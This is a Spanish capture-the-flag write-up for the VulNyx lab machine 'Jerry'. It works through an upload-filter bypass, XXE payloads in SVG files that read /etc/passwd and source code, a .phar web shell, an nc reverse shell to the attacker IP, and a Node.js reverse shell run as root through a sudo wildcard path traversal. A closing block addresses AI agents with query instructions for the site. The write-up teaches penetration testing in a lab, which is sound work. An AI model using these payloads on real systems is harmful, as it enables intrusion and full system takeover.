# Jerry

* La IP de la máquina Jerry en mi caso:

<figure><img src="/files/EmdmYdN8xhLzpwFYjmUS" alt=""><figcaption></figcaption></figure>

### Recon

1. Lanzamos un escaneo con Nmap contra el objetivo:

```bash
sudo nmap -sCV -p- --open -T5 192.168.56.109
```

<figure><img src="/files/yC2VItkJ9KARDVq5xxTN" alt=""><figcaption></figcaption></figure>

* Puertos identificados:
  * 22 → Servicio SSH
  * 25 → Servicio SMTP
  * 80 → Servicio HTTP

2. Añadimos la IP y el host al archivo **/etc/hosts**:

<figure><img src="/files/5jeE6W6o8xTcVXNwWPQ6" alt=""><figcaption></figcaption></figure>

3. Visitamos la web desde el navegador:

<figure><img src="/files/reKVUeRrXtaTW2Zvhkf9" alt=""><figcaption></figcaption></figure>

4. Navegando por la web, encontramos encontramos un formulario que nos permite subir una imagen de perfil:

<figure><img src="/files/hsPlujqZbrz4c4GCv93O" alt=""><figcaption></figcaption></figure>

### File Upload

5. Cómo el input es para subir una imagen de perfil, probaremos si podemos subir otro tipo de archivo, por ejemplo un txt :

<figure><img src="/files/NTvQy4mAFkPu7etkT0yW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wBCIBUgzkQHxfyqpXZZ4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lRNQaT8cTqkX8mqtji6V" alt=""><figcaption></figcaption></figure>

* Pero el input valida el tipo de archivo y sólo permite imágenes.

6. Analizamos el código para ver como el input filtra que formato de archivos se suben:

<figure><img src="/files/2zbWIMoCkgd5AUAGfabg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YDPYzjIBI96ZCDL4C35q" alt=""><figcaption></figcaption></figure>

* Identificamos la función **UploadCheck()** y el parámetro **accept** que sólo permite formatos de imagen.

7. Comprobamos la función **UploadCheck** para analizar cómo hace la validación del formato:

<figure><img src="/files/iDnAahZJjHRwqpE25uBs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jTrlfPueQM82WShmFmGQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iUgr21K3PKs1NSAp6hUS" alt=""><figcaption></figcaption></figure>

8. Analizando el código del script, en la parte que printa el mensaje "Only images are allowed", se especifican que extensiones están permitidas y si no son alguna del listado, no se permite la subida del archivo:

<figure><img src="/files/rOceZwZ2XAHVR77JFRsN" alt=""><figcaption></figcaption></figure>

* Sólo están permitidas las extensiones **jpg, jpeg y png**. Por eso no ha permitido la subida del txt.

9. Este filtro, es muy fácil de bypassear. Cómo se ha visto al inspeccionar el código, es accesible desde el front-end. Con eliminar la función del input y volver a hacer **Submit** del formulario con el archivo subido en el input, se consigue subir el archivo:

<figure><img src="/files/3lDg6TZ58bWTx3HKrjQs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fBeAgxbk312gfF38Jua2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AOBCS13jlJ33aIC9dWhw" alt=""><figcaption></figcaption></figure>

* Pero parece que realmente no está subiendo nada, se puede ver en la URL.

11. El siguiente paso será hacer un fuzzing web a ver si hay algún elemento por el que seguir avanzando:

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://jerry.nyx/request/FUZZ.php -c
```

<figure><img src="/files/saZvnVBiZzWib7FWbsoY" alt=""><figcaption></figcaption></figure>

* 3 archivos php identificados:
  * &#x20;index → La pantalla del formulario.
  * submit → Envía el formulario al hacer click en “Submit”.
  * upload → Sube el archivo adjunto al formulario.

12. Se crea una shell.php:

<figure><img src="/files/zdXcax22spQJA0kbEMjY" alt=""><figcaption></figcaption></figure>

13. Para la subida de shell.php se redirige el tráfico a través de Burp y se elimina la función de filtrado como se ha hecho anteriormente:

<figure><img src="/files/UiA2UYD4e7tKVFtG7B6O" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yPtYegpRbOGRQKxMTytq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7cp5kJ8gu2YQpUDJrza2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/28LOrgl19uXIFWn7sWU4" alt=""><figcaption></figcaption></figure>

* Al eliminar la función de filtrado del front-end, se puede hacer click en el botón de subida del archivo y capturar la request POST a upload.php.

14. Al enviarla desde el Repeater, la extensión es identificada y no permite la subida:

<figure><img src="/files/10v1sYBxupGY5GbgFBrI" alt=""><figcaption></figcaption></figure>

* En el back-end de la web debe de haber otra función de blacklist que no permite las extensiones php.

### Extension Fuzzing

15. El siguiente paso es fuzzear extensiones para intentar evitar la blacklist de extensiones que debe de haber en el back-end de la web, para ello, se envía la request de subida del archivo al **Intruder**:

<figure><img src="/files/ccnpbOTLGJnrjEHEnwKF" alt=""><figcaption></figcaption></figure>

* Se selecciona la parte de la extensión, que es sobre se hará el fuzzing:

<figure><img src="/files/tV1BCd2SHzGBni7Jk23m" alt=""><figcaption></figcaption></figure>

* Se carga una la lista de extensiones que se utilizará en el fuzzing, en el menú de la derecha del Intruder de Burp:

<figure><img src="/files/pUGvdcLQRJi1kSisFZ4c" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
\* **Recomendación**: Descargar el github de [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

`git clone` [`https://github.com/swisskyrepo/PayloadsAllTheThings`](https://github.com/swisskyrepo/PayloadsAllTheThings)
{% endhint %}

* **Importante: D**esactivar el URL encode, porque sino encodeará las extensiones y no dará resultado:

<figure><img src="/files/NZyp2SXm04jDRWd1wy5Q" alt=""><figcaption></figcaption></figure>

* En Settings, añadir el mensaje “*Extension not allowed*” para que filtre las respuestas que da el servidor:

<figure><img src="/files/clYdgwCc0MzGzAiR8GWO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BU6gtCCeqKeJjnoSoxlx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/x2wayPMr0Jx15RG4lTEB" alt=""><figcaption></figcaption></figure>

* Se inicia el ataque:

<figure><img src="/files/h6Lvtf31g37pQ4DnQx3W" alt=""><figcaption></figcaption></figure>

16. Al finalizar el ataque, ordenar por la columna en la que está aplicada la regex del “*Extension not allowed*” y aparecen las extensiones que no están blacklisteadas y permiten la subida del fichero:

<figure><img src="/files/C38JVGquV4LFEf9acWU7" alt=""><figcaption></figcaption></figure>

### File Upload into XXE

17. Ahora que conocemos las extensiones válidas, vamos a usarlo en la explotación. Para ello, descargamos una imagen **svg**:

<figure><img src="/files/kEpqiOmkS6oHg3IOgJ6j" alt=""><figcaption></figcaption></figure>

18. Repetimos en el formulario la eliminación de la función de validación:

<figure><img src="/files/2rnRzoGoRL2jVaKdm4z9" alt=""><figcaption></figcaption></figure>

19. Redirigimos el tráfico a Burp e interceptamos la request para enviarla al **Repeater**:

<figure><img src="/files/fz8vSX6OvrrFTBjlyXmV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SqaccDtt7AHiUwJqqgSj" alt=""><figcaption></figcaption></figure>

20. Con la request de subida de la **imagen svg** en el **Repeater**, probaremos con el siguiente **payload** a ver si podemos mostrar archivos del sistema objetivo:

```xml
<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

<figure><img src="/files/3bmx1sogURCpDzgBr0Vb" alt=""><figcaption></figcaption></figure>

* Esto sucede porque las imágenes **SVG** contienen código **XML**, que nos permite la ejecución de código en la máquina objetivo.
* Usuarios identificados:
  * kramer
  * jerry
  * elaine

21. Podemos visualizar archivos del sistema, pero también mostrar el código de archivos como tal. Al hacer el fuzzing hemos identificado **upload.php,** que por lo que hemos ido avanzando en la máquina, es el archivo que hace la subida del archivo adjunto desde el formulario al server. Utilizaremos el siguiente payload para mostrar su código fuente y entender el funcionamiento de subida:

```xml
<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
```

<figure><img src="/files/EqSZIUpct93ZMAQy1rFd" alt=""><figcaption></figcaption></figure>

* El código del archivo viene encodeado en base64, así que lo decodeamos:

```bash
echo -n “código_upload.php_base64” | base64 -d
```

<figure><img src="/files/kxvmO98shhKNyzvKtQed" alt=""><figcaption></figcaption></figure>

* Ahora el código es legible. Se puede ver en que directorio se sube el archivo del formulario, cómo lo renombra, la blacklist, etc.

### RCE

22. Ahora recuperaremos la request de subida de la **shell.php**.  En la blacklist del código decodeado aparecen las extensiones que están bloqueadas, pero una de las que hemos identificado con el **Intruder** si que nos funcionaría. En la request, cambiamos la extensión de shell.php a **shell.phar** y la enviamos de nuevo desde el **Repeater**:

<figure><img src="/files/ACVK4dTcSNevxgdymYpH" alt=""><figcaption></figcaption></figure>

* Esta vez el archivo se sube de forma correcta.

23. Cómo hemos identificado anteriormente, el archivo subido cambia de nombre (añadiendo la fecha actual, en un formato específico) y se sube al directorio **job\_request\_files**, así que accedemos a la ruta desde el navegador, añadiendo un comando para su ejecución desde el cmd que incluye el archivo .phar:

> <http://jerry.nyx/request/job\\_request\\_files/25-09-22\\_shell.phar?cmd=id>

<figure><img src="/files/pFBbB6Yhl04pg7LhScRs" alt=""><figcaption></figcaption></figure>

* Conseguimos la ejecución de código remoto en la máquina víctima.

### Reverse Shell

24. Vamos a ejecutar una reverse shell contra nuestra máquina atacante, para que nos sea más cómodo operar en los siguientes pasos:

> <http://jerry.nyx/request/job\\_request\\_files/24-09-23\\_shell.phar?cmd=busybox> nc 192.168.56.101 1234 -e sh

<figure><img src="/files/kCuuH8zndUUFarvhtaYK" alt=""><figcaption></figcaption></figure>

* Previamente se deja una consola a la escucha:

```bash
nc -vnlp 1234
```

<figure><img src="/files/dLxYuPsUfje2wcVLLJMv" alt=""><figcaption></figcaption></figure>

* Recibimos la conexión al acceder a la URL anterior:

<figure><img src="/files/l0dRtaAG0dusCrRPzyDN" alt=""><figcaption></figcaption></figure>

25. Listamos el contenido de la carpeta en la que nos encontramos:

<figure><img src="/files/Xx1MLvjPSXx8CU0pVQZJ" alt=""><figcaption></figcaption></figure>

* Se pueden ver varios archivos que he subido de prueba, los del ataque del Intruder, además del index.php.

### Privilege Escalation

26. Listamos los usuarios disponibles desde el directorio /home/

<figure><img src="/files/oWEUIF1OSeOdEayTYGv1" alt=""><figcaption></figcaption></figure>

27. Uno de los puertos abiertos es el **25 (SMTP)**, lo que quiere decir que hay un servicio de mail. Para visualizar los mails enviados por los usuarios, iremos al directorio **/var/mail**:

<figure><img src="/files/8Fb0wxxx6e8UZShPsOn0" alt=""><figcaption></figcaption></figure>

* No tenemos permisos sobre estos directorios porque peretenecen a los usuarios.

28. Vamos a realizar enumeración de archivos sobre los que tengamos permisos de escritura:

```bash
find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'
```

{% hint style="info" %}
Payload obtenido del blog de J4ckie0x17: <https://j4ckie0x17.gitbook.io/notes-pentesting/escalada-de-privilegios/linux#encontrar-carpetas-archivos-que-podemos-escribir>
{% endhint %}

<figure><img src="/files/UryENNu6Uzux7XyHQ0kp" alt=""><figcaption></figcaption></figure>

* Pero no hay nada interesante.

29. Navegando por las carpetas de la raíz, identificamos contenido útil en el directorio /opt:

<figure><img src="/files/KhpXMyLZXnSfcuXAvZCh" alt=""><figcaption></figcaption></figure>

30. Dentro del directorio scripts está el archivo **backup.js**, leyendo su código se puede ver que en la carpeta **backups\_mail** se están creando archivos comprimidos en ZIP.

<figure><img src="/files/HuqN2jARjNcTG83napP8" alt=""><figcaption></figcaption></figure>

* Listamos el contenido de backups\_mail, y tenemos permisos de lectura:

<figure><img src="/files/pHBy1VjdSCcPtNVdS4HB" alt=""><figcaption></figcaption></figure>

31. Descargamos los archivos comprimidos a nuestra máquina atacante para leerlos:

* Levantamos un **servidor PHP** en la máquina víctima:

```bash
php -S 0.0.0.0:8080
```

* Desde la máquina atacante, descargamos los archivos:

```wasm
wget 192.168.56.109:8080/archivo_backup.zip
```

<figure><img src="/files/nQU4F8Bft1kP7ynz5f1y" alt=""><figcaption></figcaption></figure>

* Descomprensión de los archivos ya en la máquina atacante:

```bash
unzip archivo_backup.zip
```

<figure><img src="/files/8r7phSyNgq8LE6gKfTN8" alt=""><figcaption></figcaption></figure>

32. Investigamos el contenido de los mails, que son conversaciones entre los usuarios, y encontramos una posible contraseña:

<figure><img src="/files/o1cRsqixsDMxwR66ZMDI" alt=""><figcaption></figcaption></figure>

33. Probamos el acceso por SSH con el usuario **elaine** y la contraseña que acabamos de encontrar:

<figure><img src="/files/mBAcKCU2xwig9TUHkh9o" alt=""><figcaption></figcaption></figure>

* La contraseña es correcta y se consigue la conexión por SSH con el usuario elaine.

34. Buscamos sobre que tiene permisos de ejecución sin contraseña el usuario elaine:

<figure><img src="/files/v4rCbvwyFOsRyxg7kVq0" alt=""><figcaption></figcaption></figure>

* Tiene permisos de ejecución sobre los **.js** dentro de **/opt/scripts/,** así que el script de backups que hemos identificado anteriormente, se puede ejecutar desde el usuario **elaine**.

35. Al tener permisos de root sobre **/opt/scripts/\*.js** la forma de avanzar sería creando una reverse shell con **javascript** y ejecutarla indirectamente de la siguiente manera:

* reverse\_shell.js:

```javascript
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "192.168.56.101", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
```

* La creamos dentro del directorio tmp:

<figure><img src="/files/rjAYL1kh4ZP2n8Sgd1OW" alt=""><figcaption></figcaption></figure>

* Ponemos una consola a la escucha:

```bash
nc -vnlp 4444
```

<figure><img src="/files/QjQbFSVNLUvGt0fJHCtD" alt=""><figcaption></figcaption></figure>

* La ejecutaremos a través de la ruta de la que elaine tiene permitida la ejecución como sudo:

```bash
sudo /usr/bin/node /opt/scripts/*.js/../../../../../../tmp/reverse_shell.js
```

<figure><img src="/files/JqwzyJRK6CVLsPxrsEru" alt=""><figcaption></figcaption></figure>

* Recibimos la conexión como root en la consola a la escucha:

<figure><img src="/files/uLoqGqHvbXiuOL8lMd5c" alt=""><figcaption></figcaption></figure>

### Flags

#### Flag user

* La flag **user.txt** se encuentra en el directorio del usuario **elaine**:

<figure><img src="/files/p4zZdI5xuTfLzChENJoB" alt=""><figcaption></figcaption></figure>

#### Flag root

* La flag **root.txt** se encuentra en el directorio del usuario **root:**

<figure><img src="/files/wPxr2rcZDyruDucCF18J" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l4nk0n3.gitbook.io/l4nk0n3/esp/writeups/vulnyx/jerry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
